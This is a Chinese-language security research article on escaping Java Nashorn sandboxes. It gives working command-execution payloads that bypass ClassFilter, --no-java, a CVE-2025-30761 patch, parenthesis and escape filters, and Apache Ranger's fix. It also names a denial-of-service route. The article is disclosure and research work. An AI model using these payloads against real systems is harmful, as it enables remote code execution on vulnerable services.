Java Nahsorn引擎攻防对抗技术漫谈
原创 Ape1ron 2026-03-03 12:13 江苏

分享笔者在Java Nashorn引擎代码注入遇到的对抗场景及绕过技术
目录:
• 前言
• Nashorn简介
• js访问Java对象的"秘诀"
• 安全措施
• Java官方提供的安全措施
• 三方提供的安全措施
• 对抗场景
• ClassFilter
• --no-java
• 禁用反射(ClassFilter或SecurityManager) + --no-java
• CVE-2025-30761补丁
• 禁用反射 + --no-java + 字符校验(禁用小括号、多重编码与转义)
• 禁用反射 + --no-java + 去除this.engine
• 总结
• 参考
一、前言
笔者在2025年中遇到了不少Java Nashorn引擎代码注入的场景,本文总结和分享一下过程中发现的一些对抗技术,主要涉及:
发现一种可同时绕过Nashorn的
--no-java安全配置以及ClassFilter的方法,Oracle分配了CVE-2025-30761。一些开源软件受该绕过技术影响,CloudStack分配了CVE-2025-59302,Conduct CVE-2025-26074的补丁可被绕过。在Apache Ranger中遇到了比
1更复杂的对抗场景,删除了上下文中engine之类的敏感对象,涉及CVE-2025-59059。在其他开闭源软件中遇到各类形式各异的防护场景,包括各种防护措施的混合、字符校验等。发现了一种新型Nahsorh字符绕过和无小括号场景下的方法调用技术(基于nashorn特有的
__noSuchProperty__机制)。
1.1 Nashorn简介
Nashorn 是一个高性能的 JavaScript 引擎,首次引入于 JDK8,替代了JDK7之前的Rhino,一直到JDK15被正式移除。它允许在 Java 虚拟机(JVM)中执行 JavaScript 代码,也允许在js代码中访问Java对象和方法,从而实现 JavaScript 和 Java 的无缝集成。例如:
ScriptEngine engine = new ScriptEngineManager().getEngineByName("nashorn");
String cmd = "java.lang.Runtime.getRuntime().exec('calc')";
engine.eval(cmd);1.2 js访问Java对象的"秘诀"
在NashornScriptEngine初始化的时候,会创建一个执行环境上下文的全局"根对象",然后为Java的相关对象创建"引用"并放置于"根对象"中(作为Property),具体见代码:jdk.nashorn.internal.objects.Global#init。
在js中访问java.xxx,实质上是先访问"根对象"中的java属性,在js中可以通过this来访问"根对象"。
ScriptEngine engine = new ScriptEngineManager().getEngineByName("nashorn");
String cmd1 = "print(java==this.java);print(this.java)";
engine.eval(cmd1);
// output
true
[JavaPackage java]类似地,如果在js中直接定义了一个变量,也会绑定到"根对象"。
ScriptEngine engine = new ScriptEngineManager().getEngineByName("nashorn");
String cmd2 = "var p='ape1ron';print(this.p,typeof this.p)";
engine.eval(cmd2);
// output
ape1ron string通过如下代码可以获取"根对象"中的所有属性和方法:
ScriptEngine engine = new ScriptEngineManager().getEngineByName("nashorn");
String cmd3 = "for each(q in Object.getOwnPropertyNames(this)){print(q,typeof this[q])}";
engine.eval(cmd3);
// ouput
arguments object
parseInt function
parseFloat function
isNaN function
isFinite function
encodeURI function
encodeURIComponent function
decodeURI function
decodeURIComponent function
escape function
unescape function
print function
load function
loadWithNewGlobal function
exit function
quit function
NaN number
Infinity number
undefined undefined
eval function
Object function
Function function
Array function
String function
Boolean function
Number function
Math object
Error function
ReferenceError function
SyntaxError function
TypeError function
Packages object
com object
edu object
java object
javafx object
javax object
org object
__FILE__ object
__DIR__ object
__LINE__ object
Date function
RegExp function
JSON object
JSAdapter function
EvalError function
RangeError function
URIError function
ArrayBuffer function
DataView function
Int8Array function
Uint8Array function
Uint8ClampedArray function
Int16Array function
Uint16Array function
Int32Array function
Uint32Array function
Float32Array function
Float64Array function
JavaImporter function
Java object
javax.script.filename object
__noSuchProperty__ function可以看到,除了java外,Nashorn还为常见的packge如com、org等创建了"引用"。
实际上,所有Java类实都可以通过Packages访问:
String cmd4 = "Packages.java.lang.Runtime.getRuntime().exec('calc')";此外,还可以通过Java对象(注意是大写J)的type方法访问Java类:
String cmd5 = "Java.type('java.lang.Runtime').getRuntime().exec('calc');";以上就是从js访问Java类和方法的"秘诀"。
二、安全措施
从js访问Java的能力显然是一类极高风险的场景,一旦js由外部输入可控,就是典型的代码注入。由此,官方和外部三方都提供了一系列的安全措施。
2.1 Java官方提供的安全措施
官方提供的安全措施主要有三类:
--no-java:官方描述为“该配置会完全禁止在js代码中直接访问Java包和类”,该安全选项可以通过Java系统属性来进行设置,例如添加JVM启动参数-Dnashorn.args=--no-java。
ClassFilter:该机制在JEP202中新增,相比--no-java配置提供了更灵活的控制方案,可以自定义类的黑白名单,并且会禁止在js中进行Java反射。具体参考:https://openjdk.org/jeps/202SecurityManager:Nashorn受安全管理器限制,并设置有nashorn.JavaReflection等权限。
2.2 三方提供的安全措施
三方提供的安全措施主要有开源项目delight-nashorn-sandbox:https://github.com/javadelight/delight-nashorn-sandbox,delight-nashorn-sandbox是基于ClassFilter机制构建的,此外还做了一些增强,在每次执行js之前会删除"根对象"对象中的敏感属性。
三、对抗场景
3.1 ClassFilter
ClassFilter机制通过jdk.nashorn.api.scripting.ClassFilter接口的exposeToScripts方法来实现,该方法的入参是从js中访问的类名,返回结果决定了该类是否可以访问。如下代码实际上拒绝访问所有类。
public classClassFilterBypass{
staticclassSimpleClassFilterimplementsClassFilter{
@Override
public boolean exposeToScripts(String s) {
returnfalse;
}
}
public staticvoid main(String[] args) throws ScriptException {
NashornScriptEngineFactory factory = new NashornScriptEngineFactory();
ScriptEngine engine = factory.getScriptEngine(new SimpleClassFilter());
String js = "java.lang.Runtime.getRuntime().exec('calc')";
engine.eval(js);
}
}
// output
Exception in thread "main" java.lang.RuntimeException: java.lang.ClassNotFoundException: java.lang.Runtime.getRuntime
at jdk.nashorn.internal.runtime.ScriptRuntime.apply(ScriptRuntime.java:397)
...当使用了ClassFilter之后,默认拒绝在js中使用反射,例如String js = "''.getClass().getClassLoader()";这样的代码会抛出异常:
笔者了解到绕过ClassFilter的方法最早出现在早期delight-nashorn-sandbox沙箱绕过漏洞中:https://github.com/javadelight/delight-nashorn-sandbox/issues/73,后面@mbechler的博客中详细描述了这种方法:https://mbechler.github.io/2019/03/02/Beware-the-Nashorn/。
简单来说,ClassFilter是作用在NashornScriptEngine实例上的。在js中可以访问到原先的NashornScriptEngine实例,而NashornScriptEngine#getFactory方法可以获取到NashornScriptEngineFactory实例,通过NashornScriptEngineFactory#getScriptEngine方法可以新建一个新的NashornScriptEngine实例,这个实例是没有设置ClassFilter的,由此完成了绕过:
String js = "var e=this.engine.getFactory().getScriptEngine();e.eval('java.lang.Runtime.getRuntime().exec(\"calc\")')";3.2 --no-java
--no-java实现的代码位于:jdk.nashorn.internal.objects.Global#init,这个配置会移除js执行环境上下文中所有直接引入的Java对象。
如下代码会抛出异常:"java" is not defined
publicstaticvoidmain(String[] args)throws ScriptException {
System.setProperty("nashorn.args","--no-java");
ScriptEngine engine = new ScriptEngineManager().getEngineByName("nashorn");
String js = "java.lang.Runtime.getRuntime().exec(\"calc\")";
engine.eval(js);
}
// output
Exception in thread "main" javax.script.ScriptException: ReferenceError: "java" is not defined in <eval> at line number 1
at jdk.nashorn.api.scripting.NashornScriptEngine.throwAsScriptException(NashornScriptEngine.java:470)
at jdk.nashorn.api.scripting.NashornScriptEngine.evalImpl(NashornScriptEngine.java:454)
at jdk.nashorn.api.scripting.NashornScriptEngine.evalImpl(NashornScriptEngine.java:406)
at jdk.nashorn.api.scripting.NashornScriptEngine.evalImpl(NashornScriptEngine.java:402)
at jdk.nashorn.api.scripting.NashornScriptEngine.eval(NashornScriptEngine.java:155)
at javax.script.AbstractScriptEngine.eval(AbstractScriptEngine.java:264)
at NoJavaBypass.main(NoJavaBypass.java:11)
Caused by: <eval>:1 ReferenceError: "java" is not defined
at jdk.nashorn.internal.runtime.ECMAErrors.error(ECMAErrors.java:57)
...在官方描述中,--no-java会完全禁止在js代码中直接访问Java包和类,然而,这个Nashorn古老的防护方案虽然移除了js执行环境上下文中所有直接引入的Java包,但却没有禁用反射,最常规的绕过方法就是利用反射:
String js = "rc=''.getClass().getClass().getMethods()[0].invoke(null,'java.lang.Runtime');m1=rc.getMethods()[5];rt=m1.invoke(rc);m2=rc.getMethods()[15];m2.invoke(rt,'calc');";3.3 禁用反射(ClassFilter或SecurityManager) + --no-java
当同时使用--no-java+ClassFilter或SecurityManager时:
无法使用反射
无法访问Java类
能否直接复用前面绕过ClassFilter的方法,通过创建一个新的NashornScriptEngine实例来绕过呢?答案是否定的,因为笔者遇到的--no-java配置是通过系统属性设置的,全局生效,通过该方式来创建NashornScriptEngine是走同一套流程,依然会使用--no-java 配置。
publicclassClassFilterAndNoJava{
staticclassSimpleClassFilterimplementsClassFilter{
@Override
publicbooleanexposeToScripts(String s){
returnfalse;
}
}
publicstaticvoidmain(String[] args)throws ScriptException {
System.setProperty("nashorn.args","--no-java");
NashornScriptEngineFactory factory = new NashornScriptEngineFactory();
ScriptEngine engine = factory.getScriptEngine(new ClassFilterBypass.SimpleClassFilter());
String js = "var e=this.engine.getFactory().getScriptEngine();e.eval('java.lang.Runtime.getRuntime().exec(\"calc\")')";
engine.eval(js);
}
}

有小伙可能会发现,这样新建的NashornScriptEngine实例虽然受--no-java 配置影响,但ClassFilter却没了,再用一次反射不就可以了?的确如此:)
String js = "var e=this.engine.getFactory().getScriptEngine();e.eval(\"rc=''.getClass().getClass().getMethods()[0].invoke(null,'java.lang.Runtime');m1=rc.getMethods()[5];rt=m1.invoke(rc);m2=rc.getMethods()[15];m2.invoke(rt,'calc');\")";如果是通过SecurityManager禁止在Nashorn中使用反射,上面的payload就失效了,因为SecurityManager也是全局的。
publicclassNoJavaAndNoReflecttion{
publicstaticvoidmain(String[] args)throws ScriptException {
Policy.setPolicy(new Policy() {
@Override
publicbooleanimplies(ProtectionDomain domain, Permission permission){
if (permission instanceof RuntimePermission &&
"nashorn.JavaReflection".equals(permission.getName())) {
returnfalse;
}
returntrue;
}
});
System.setSecurityManager(new SecurityManager());
ScriptEngine engine = new ScriptEngineManager().getEngineByName("nashorn");
String js = "var e=this.engine.getFactory().getScriptEngine();e.eval(\"rc=''.getClass().getClass().getMethods()[0].invoke(null,'java.lang.Runtime');m1=rc.getMethods()[5];rt=m1.invoke(rc);m2=rc.getMethods()[15];m2.invoke(rt,'calc');\")";
engine.eval(js);
}
}
// output
Exception in thread "main" java.security.AccessControlException: access denied("java.lang.RuntimePermission""nashorn.JavaReflection")
at java.security.AccessControlContext.checkPermission(AccessControlContext.java:472)
...在进一步分析NashornScriptEngineFactory的代码后,发现其拥有另外一个函数getScriptEngine(java.lang.String... args),跟踪对args的处理,最终走到了jdk.nashorn.internal.runtime.options.Options#processArgList方法,以-D开头的参数会被重新解析为系统属性。调用栈:
processArgList:432, Options (jdk.nashorn.internal.runtime.options)
process:424, Options (jdk.nashorn.internal.runtime.options)
<init>:120, NashornScriptEngine (jdk.nashorn.api.scripting)
newEngine:232, NashornScriptEngineFactory (jdk.nashorn.api.scripting)
getScriptEngine:195, NashornScriptEngineFactory (jdk.nashorn.api.scripting)因此创建引擎时添加参数:getScriptEngine('-Dnashorn.args=--no-java=False'),就可以覆盖一开始设置的系统属性 nashorn.args=--no-java。
BypassPayload:
String js = "var e=this.engine.getFactory().getScriptEngine('-Dnashorn.args=--no-java=False');e.eval(\"java.lang.Runtime.getRuntime().exec('calc')\");";Oracle为该绕过方法分配了CVE-2025-30761,笔者认为该漏洞的修复补丁并不完善。
3.4 CVE-2025-30761补丁
CVE-2025-30761具体的修复方案在jdk.nashorn.internal.runtime.options.Options#processArgList方法增加了限制,默认不允许设置nashorn.args,也即限制了payload 中的this.engine.getFactory().getScriptEngine('-Dnashorn.args=--no-java=False')这一步。
修复的核心代码如下:
private void processArgList(LinkedList<String> argList) {
while(!argList.isEmpty()) {
String arg = (String)argList.remove(0);
if (!arg.isEmpty()) {
...
...
} else if (arg.startsWith("-") && arg.length() != 1) {
if (arg.startsWith(definePropPrefix)) {
String value = arg.substring(definePropPrefix.length());
int eq = value.indexOf(61);
if (eq != -1) {
if (System.getSecurityManager() == null && value.substring(0, eq).equals("nashorn.args")) {
if (value.substring(0, eq).equals("nashorn.args")) {
throw new IllegalArgumentException("Property with name 'nashorn.args' cannot be set");
}
} else {
System.setProperty(value.substring(0, eq), value.substring(eq + 1));
}
} else {
if (value.isEmpty()) {
throw new IllegalOptionException(definePropTemplate);
}
System.setProperty(value, "");
}
} else {
...
...
} else {
this.files.add(arg);
}
}
}
}这里有一个缺陷,那就是只限制了带等号的表达式int eq = value.indexOf(61);,也即只限制了-Dnashorn.args=xxx这种形式。对于没有带等号的表达式,则直接将其设置为空:System.setProperty(value, "");,
// this.engine.getFactory().getScriptEngine('-Dnashorn.args=--no-java=False')
this.engine.getFactory().getScriptEngine('-Dnashorn.args')由于--no-java=true本身就不是默认配置,因此将nashorn.args置空和-Dnashorn.args=--no-java=False的效果是等价的,由此完全绕过了CVE-2025-30761的补丁。POC:
String bypass_cmd = "var e=this.engine.getFactory().getScriptEngine('-Dnashorn.args');e.eval(\"java.lang.Runtime.getRuntime().exec('calc')\");";在openwall的讨论中:https://www.openwall.com/lists/oss-security/2025/07/21/3,@mbechler提到了另外一种有趣的绕过方式:
System.setProperty("nashorn.args", "--no-java");
ScriptEngine e = new ScriptEngineManager().getEngineByName("nashorn");
String cmd =
"this.engine.factory.getScriptEngine(\"-scripting\").eval('$EXEC(\"calc.exe\")')";
e.eval(cmd);创建NashornScriptEngine时传入"-scripting",可以启用"scripting"模块,该模块的初始化代码位于jdk.nashorn.internal.objects.Global#initScripting,该模块的$EXEC方法可以直接执行系统命令。
在后续和官方沟通时,Oracle认为安全使用Nashorn必须要开启SecurityManager。在JDK1.8.401中,官方对jdk.nashorn.internal.objects.Global#__noSuchProperty__进行了修改,在开启了SecurityManager的场景,如果使用ClassFilter或--no-java,都会禁止在脚本中访问engine实例。
因此上述绕过payload的适用场景为:未开启SecurityManager || version<JDK1.8.401。
官方建议的方案是同时开启ClassFilter和SecurityManager,不过个人认为在生产环境中启用SecurityManager并不总是一件容易的事情,官方对--no-java的描述也很容易让人产生误会:)
3.5 禁用反射 + --no-java + 字符校验(禁用小括号、多重编码与转义)
之前遇到的一个防护方案包括:ClassFilter+--no-java+字符校验,字符校验主要限制包括:禁用小括号、多重编码以及转义字符。代码大致如下:
import jdk.nashorn.api.scripting.ClassFilter;
import jdk.nashorn.api.scripting.NashornScriptEngineFactory;
import org.apache.commons.text.StringEscapeUtils;
import javax.script.ScriptEngine;
import javax.script.ScriptException;
import java.util.regex.Pattern;
publicclassClassFilterAndNoJavaAndCharcheck{
staticclassSimpleClassFilterimplementsClassFilter{
@Override
publicbooleanexposeToScripts(String s){
returnfalse;
}
}
static String dobuleEscape = "\\\\";
static Pattern checkPattern = Pattern.compile("[\\(\\)]+");
publicstaticbooleancheck(String cmd){
// 不允许出现小括号
if(checkPattern.matcher(cmd).find()){
returnfalse;
}
// 不允许多重转义
if(cmd.contains(dobuleEscape)){
returnfalse;
}
// 不允许转义字符
String escapeCmd = StringEscapeUtils.escapeJava(cmd);
if(!escapeCmd.equals(cmd)){
returnfalse;
}
returntrue;
}
publicstaticvoidmain(String[] args)throws ScriptException {
System.out.println("Java version: " + System.getProperty("java.version"));
System.setProperty("nashorn.args","--no-java");
NashornScriptEngineFactory factory = new NashornScriptEngineFactory();
ScriptEngine engine = factory.getScriptEngine(new SimpleClassFilter());
String js = "var e=this.engine.getFactory().getScriptEngine('-Dnashorn.args=--no-java=False');e.eval(\"java.lang.Runtime.getRuntime().exec('calc')\");";
if(!check(js)){
thrownew ScriptException("js check failed");
}
engine.eval(js);
}
}拦路的第一道卡就是小括号的校验,之前出现的Payload无一例外最终都需要调用方法,而方法调用必须使用小括号。
业界有一些"禁用小括号"场景下nashorn的利用研究,例如phithon提出的:https://www.leavesongs.com/PENETRATION/nashorn-rce-without-parentheses.html,利用了nashorn 访问属性时调用getter/setter方法的特性+实现Java接口的特殊形式来绕过,但这种方式依赖于直接访问Java类,而笔者遇到的场景中由于多了ClassFilter和--no-java,无法直接访问Java类,并不适用。于是决定另辟蹊径。
我们先回顾一下前面获取全局"根对象"的所有属性和方法:
ScriptEngine engine = new ScriptEngineManager().getEngineByName("nashorn");
String cmd = "print(Object.getOwnPropertyNames(this))";
engine.eval(cmd);
// output
arguments,parseInt,parseFloat,isNaN,isFinite,encodeURI,encodeURIComponent,decodeURI,decodeURIComponent,escape,unescape,print,load,loadWithNewGlobal,exit,quit,NaN,Infinity,undefined,eval,Object,Function,Array,String,Boolean,Number,Math,Error,ReferenceError,SyntaxError,TypeError,Packages,com,edu,java,javafx,javax,org,__FILE__,__DIR__,__LINE__,Date,RegExp,JSON,JSAdapter,EvalError,RangeError,URIError,ArrayBuffer,DataView,Int8Array,Uint8Array,Uint8ClampedArray,Int16Array,Uint16Array,Int32Array,Uint32Array,Float32Array,Float64Array,JavaImporter,Java,javax.script.filename,__noSuchProperty__细心的读者可能会发现,这里面打印出来的属性并没有前面提到的this.engine,那么为什么还能访问到呢?实际上这是__noSuchProperty__方法起的作用,看一下Nashorn文档的说明:https://wiki.openjdk.org/display/Nashorn/Nashorn+extensions
当js对象在访问"不存在"的属性时,就会调用到对象的_noSuchProperty__方法,并将属性名作为参数传入。this.engine的真正来源是jdk.nashorn.internal.objects.Global#__noSuchProperty__

那么一类新的"无小括号执行方法"的方式就呼之欲出了:
ScriptEngine engine = new ScriptEngineManager().getEngineByName("nashorn");
String noParenthesesCmd = "var f={__noSuchProperty__:print}; f['ape1ron']";
engine.eval(noParenthesesCmd);
// ouput
ape1ron类似地,可以重新"定义"一个无需小括号即可调用的eval方法,并且无需引用Java对象:
ScriptEngine engine = new ScriptEngineManager().getEngineByName("nashorn");
String noParenthesesCmd = "var f={__noSuchProperty__:eval}; f[1+1]";
engine.eval(noParenthesesCmd);
=> 等价于执行eval(1+1)到这里可能会有人产生一些疑问:无小括号调用eval方法有什么用?要执行前面绕过--no-java的payload、以及最终调用Java方法不还得用小括号吗?
实际上新的eval方法会带来一个新的"操作空间",因为payload在进入我们"定义"的eval前是可以进行编解码的。
再次回顾前面打印出来的上下文中的默认属性和方法,可以看到自带有一些编解码的函数,例如:decodeURI、decodeURIComponent,结合起来就可以在新定义的eval方法中使用小括号,只不过这个小括号一开始是URL编码的:
ScriptEngine engine = new ScriptEngineManager().getEngineByName("nashorn");
String noParenthesesCmd = "var f1={__noSuchProperty__:eval}; var f2={__noSuchProperty__:decodeURI}; var p='print%28\"ape1ron\"%29'; var q=f2[p]; f1[q]";
engine.eval(noParenthesesCmd);
// output
ape1ron结合前面的绕过方法,就可以得到一种payload同时绕过ClassFilter+--no-java+禁用小括号:
String js = "var f1={__noSuchProperty__:eval};var f2={__noSuchProperty__:decodeURI}; var p='var e=this.engine.getFactory%28%29.getScriptEngine%28\"-Dnashorn.args=--no-java=False\"%29;var x=\"java.lang.Runtime.getRuntime%28%29.exec%28\\'calc\\'%29\"; var r=e.eval%28x%29; '; var q=f2[p];f1[q];";如果直接使用这个payload,会发现在字符校验处依然出错,这是因为里面使用了多个嵌套的字符串,例如 ' " \\' calc \\' " ',出现了转义字符。
这个比较简单,有了上面绕过小括号的方法,只需要将嵌套的多重转义字符一并URL编码即可。于是得到最终可同时绕过三类防护机制的payload:
String js = "var f1={__noSuchProperty__:eval};var f2={__noSuchProperty__:decodeURI}; var p='var e=this.engine.getFactory%28%29.getScriptEngine%28%27-Dnashorn.args=--no-java=False%27%29;var x=%27java.lang.Runtime.getRuntime%28%29.exec%28%5C%27calc%5C%27%29%27; var r=e.eval%28x%29; '; var q=f2[p];f1[q];";3.6 禁用反射 + --no-java + 去除this.engine
Apache Ranger本身使用了ClassFilter和--no-java来防御,利用上述方式可以绕过。
var e=this.engine.getFactory().getScriptEngine('-Dnashorn.args=--no-java=False');e.eval("java.lang.Runtime.getRuntime().exec('touch /tmp/ctest1')");Ranger在第一次修复方案https://github.com/apache/ranger/commit/6047dbdad8c0c75286798b99f3f831b6645abf65中删除了this.engine属性,或者更准确的描述:定义this.engine为空。
整合demo代码如下:
import jdk.nashorn.api.scripting.ClassFilter;
import jdk.nashorn.api.scripting.NashornScriptEngineFactory;
import javax.script.Bindings;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineManager;
import javax.script.ScriptException;
publicclassNashornApacheRangerFix{
privatestaticfinal String[] SCRIPT_ENGINE_ARGS = new String[] {"--no-java", "--no-syntax-extensions"};
privatestaticfinal String SCRIPT_SAFE_PREEXEC_OLD = "exit=null;quit=null;";
privatestaticfinal String SCRIPT_SAFE_PREEXEC = "Object.defineProperty(this,'engine',{value:null,writable:false});exit=null;quit=null;";
static ScriptEngine scriptEngine = getScriptEngine(Thread.currentThread().getContextClassLoader());
publicstaticvoidmain(String[] args)throws ScriptException {
String script = "java.lang.Runtime.getRuntime().exec('calc')";
evalImpl(script);
}
publicstaticvoidevalImpl(String script)throws ScriptException {
String preExec = SCRIPT_SAFE_PREEXEC;
Bindings bindings = scriptEngine.createBindings();
scriptEngine.eval(preExec + script, bindings);
}
publicstatic ScriptEngine getScriptEngine(ClassLoader clsLoader){
NashornScriptEngineFactory factory = new NashornScriptEngineFactory();
ScriptEngine engine = factory.getScriptEngine(SCRIPT_ENGINE_ARGS, clsLoader, RangerClassFilter.INSTANCE);
return engine;
}
privatestaticclassRangerClassFilterimplementsClassFilter{
staticfinal RangerClassFilter INSTANCE = new RangerClassFilter();
privateRangerClassFilter(){
}
@Override
publicbooleanexposeToScripts(String className){
System.out.println("script blocked: attempt to use Java class: " + className);
returnfalse;
}
}
}在分析这段代码之前,先来看一下nashorn执行环境上下文到底是如何访问对象和方法的?
这里整理了一个简单的图:以this为起点,this可以看作整个Nahsorn执行环境的上下文,对应Global对象。实际上,其他对象在获取属性时,过程也是类似的,也即:getter方法 -> public属性 -> __noSuchProperty__

修复代码的本质是在SimpleScriptContext的engineScope中定义了一个无法被修改的engine属性,在使用this.engine时,会优先从ScriptContext中搜索,由于engine已经被定义了,就无法走到后面的Global.__noSuchProperty__方法进行获取。
这个防护的绕过过程比较有意思,下面分享一下思路历程。关心payload的可以直接跳到思路四。
(失败)思路一:直接调用__noSuchProperty__来获取engine
在前面的分析中,我们知道this.engine实质上是通过__noSuchProperty__方法来获取的,而上下文中本身就传入了__noSuchProperty__方法,能否直接使用该方法来获取呢?例如:
this.__noSuchProperty__('engine')很遗憾,这种方法虽然走到了__noSuchProperty__方法,但还是不可行的,因为__noSuchProperty__也会默认先从ScriptContext中搜索,只有找不到才会走到返回NashornEngine实例的代码:
(失败)思路二:删除ranger定义的this.engine
engine在engineScope中被定义,如果能在从engineScope中删除定义的engine,就能重新利用this.__noSuchProperty__方法获取。engineScope实际上是:
this.context.getBindings(100)尝试直接使用
delete关键字删除
delete this.engine;print(this.__noSuchProperty__('engine'))会走到jdk.nashorn.internal.runtime.ScriptObject#deleteObject方法,但由于this.engine属性被设置为“不可配置”,导致删除失败了:
js变量/属性有多个配置项:包括是否可写、可配置等等
//jdk.nashorn.internal.runtime.Property
publicbooleanisWritable(){
return (this.flags & 1) == 0;
}
publicbooleanisConfigurable(){
return (this.flags & 4) == 0;
}
publicbooleanisEnumerable(){
return (this.flags & 2) == 0;
}
publicbooleanisParameter(){
return (this.flags & 8) != 0;
}
publicbooleanhasArguments(){
return (this.flags & 16) != 0;
}
publicbooleanisSpill(){
returnfalse;
}
publicbooleanisBound(){
return (this.flags & 256) != 0;
}
publicbooleanneedsDeclaration(){
return (this.flags & 512) != 0;
}在js中定义一个变量时,默认是Configurable(可配置)的,例如如下代码可以成功删除this.engine:
privatestaticfinal String SCRIPT_SAFE_PREEXEC = "this.engine=null;exit=null;quit=null;";
script = "delete this.engine;print(this.__noSuchProperty__('engine'))";
String preExec = SCRIPT_SAFE_PREEXEC;
return scriptEngine.eval(preExec + script, bindings);然而如果使用Object.defineProperty来定义属性,此时默认是unConfigurable,也即不能直接通过delete关键字来删除。
privatestaticfinal String SCRIPT_SAFE_PREEXEC = "Object.defineProperty(this,'engine',{value:null});exit=null;quit=null;";
script = "delete this.engine;print(this.__noSuchProperty__('engine'))";
String preExec = SCRIPT_SAFE_PREEXEC;
//delete 失败
return scriptEngine.eval(preExec + script, bindings);如果在定义属性时,显式配置了configurable,那么delete关键字依然是可用的。
Object.defineProperty(this,'engine',{value:null,configurable:true});但ranger定义时并没有指定,因此默认unConfigurable。
能否能够修改定义后的Property的flags,将其修改为Configurable呢?笔者并没有找到,宣告这种思路失败。
尝试使用
javax.script.SimpleScriptContext#removeAttribute来移除
SimpleScriptContext提供了一个removeAttribute方法来移除属性
代码:
this.context.removeAttribute('engine',100);print(this.__noSuchProperty__('engine'))很遗憾,这种方法来删除属性,本质上依然是调用jdk.nashorn.internal.runtime.ScriptObject#deleteObject方法,因此依然受到configurable配置的影响。
deleteObject:3344, ScriptObject (jdk.nashorn.internal.runtime)
delete:3332, ScriptObject (jdk.nashorn.internal.runtime)
remove:1762, ScriptObject (jdk.nashorn.internal.runtime)
call:451, ScriptObjectMirror$19 (jdk.nashorn.api.scripting)
inGlobal:858, ScriptObjectMirror (jdk.nashorn.api.scripting)
remove:449, ScriptObjectMirror (jdk.nashorn.api.scripting)
removeAttribute:200, SimpleScriptContext (javax.script)
invokeVirtual_LLI_L:-1, 409962262 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 931496835 (java.lang.invoke.LambdaForm$BMH)
exactInvoker:-1, 1016363973 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:-1, 1620948027 (java.lang.invoke.LambdaForm$MH)
:program:1, Script$\^eval\_ (jdk.nashorn.internal.scripts)
invokeStatic_LL_L:-1, 2140832232 (java.lang.invoke.LambdaForm$DMH)
invokeExact_MT:-1, 2145970759 (java.lang.invoke.LambdaForm$MH)
invoke:637, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:494, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:233, AbstractScriptEngine (javax.script)
evalImpl:76, NashornApacheRangerFix (org.example)
main:64, NashornApacheRangerFix (org.example)该思路遇到的困境和直接使用delete关键字是一样的。
(失败)思路三:创建新的Global实例
上下文中有一个loadWithNewGlobal方法,该方法可以创建一个新的上下文(也即newGlobal)来执行js代码。
// jdk.nashorn.internal.objects.Global
publicstatic Object loadWithNewGlobal(Object self, Object... args)throws IOException {
Global global = instanceFrom(self);
int length = args.length;
boolean hasArgs = 0 < length;
Object from = hasArgs ? args[0] : ScriptRuntime.UNDEFINED;
Object[] arguments = hasArgs ? Arrays.copyOfRange(args, 1, length) : args;
return global.getContext().loadWithNewGlobal(from, arguments);
}
// jdk.nashorn.internal.runtime.Context
public Object loadWithNewGlobal(Object from, Object... args)throws IOException {
Global oldGlobal = getGlobal();
Global newGlobal = (Global)AccessController.doPrivileged(new PrivilegedAction<Global>() {
public Global run(){
try {
return Context.this.newGlobal();
} catch (RuntimeException var2) {
if (Context.DEBUG) {
var2.printStackTrace();
}
throw var2;
}
}
}, CREATE_GLOBAL_ACC_CTXT);
this.initGlobal(newGlobal);
setGlobal(newGlobal);
Object[] wrapped = args == null ? ScriptRuntime.EMPTY_ARRAY : ScriptObjectMirror.wrapArray(args, oldGlobal);
newGlobal.put("arguments", newGlobal.wrapAsObject(wrapped), this.env._strict);
Object var6;
try {
var6 = ScriptObjectMirror.unwrap(ScriptObjectMirror.wrap(this.load(newGlobal, from), newGlobal), oldGlobal);
} finally {
setGlobal(oldGlobal);
}
return var6;
}如下代码,打印新创建的上下文中的属性,会发现只有52个,并且没能获取engine属性。
String js = "loadWithNewGlobal({'script':'print(Object.getOwnPropertyNames(this).length);print(this.engine)','name':'ctest'})";
evalImpl(js);
//output
52
undefined这个方法的缺陷在于:通过loadWithNewGlobal方法创建的newGlobal,并不会绑定__noSuchProperty__方法。
回顾jdk.nashorn.internal.runtime.Context#loadWithNewGlobal方法中对newGlobal的初始化,调用了jdk.nashorn.internal.runtime.Context#initGlobal(jdk.nashorn.internal.objects.Global)

然后调用了重载的initGlobal方法,传入的ScriptEngine为空。

一直往下跟进到Global#init方法,会发现仅当传入的engine示例不为空,才会将__noSuchProperty__方法绑定到上下文。
jdk.nashorn.internal.runtime.Context#initGlobal(jdk.nashorn.internal.objects.Global, javax.script.ScriptEngine) ->
jdk.nashorn.internal.objects.Global#initBuiltinObjects(ScriptEngine eng) ->
jdk.nashorn.internal.objects.Global#init(ScriptEngine eng)
因此,loadWithNewGlobal方法创建的上下文,和正常使用Nashorn引擎来执行js时创建的上下文还是有区别的:loadWithNewGlobal中的上下文没有__noSuchProperty__方法。
String js = "loadWithNewGlobal({'script':'print(this.__noSuchProperty__);','name':'ctest'})";
evalImpl(js);
//output
undefined根据之前的分析,无论是获取this.engine,还是this.context,实质上都是通过jdk.nashorn.internal.objects.Global#__noSuchProperty__实现的,因此在loadWithNewGlobal中即便去除了防护代码中预定义的engine属性,但依然无法获取NashornEngine实例。
然而,虽然无法获取NashornEngine实例进行RCE,但通过loadWithNewGlobal可以重新获得exit以及quit方法,可以退出Java进程,造成拒绝服务。
loadWithNewGlobal除了可以传入js代码,也可以将oldGlobal的属性或方法传递给arguments,那么能否将oldGlobal的__noSuchProperty__作为arguments传递呢?
如下代码:可以将oldGlobal的__noSuchProperty__方法传递到newGlobal中。
String js = "loadWithNewGlobal({'script':'print(arguments[0]);','name':'ctest'},this.__noSuchProperty__)";
evalImpl(js);
//output
function __noSuchProperty__(){ [native code] }然而在newGlobal中调用这个传入的__noSuchProperty__,同样无法获取engine,因为在解析__noSuchProperty__时,实质上会回到oldGlobal的上下文中进行,在解析完成之后再传到newGlobal。
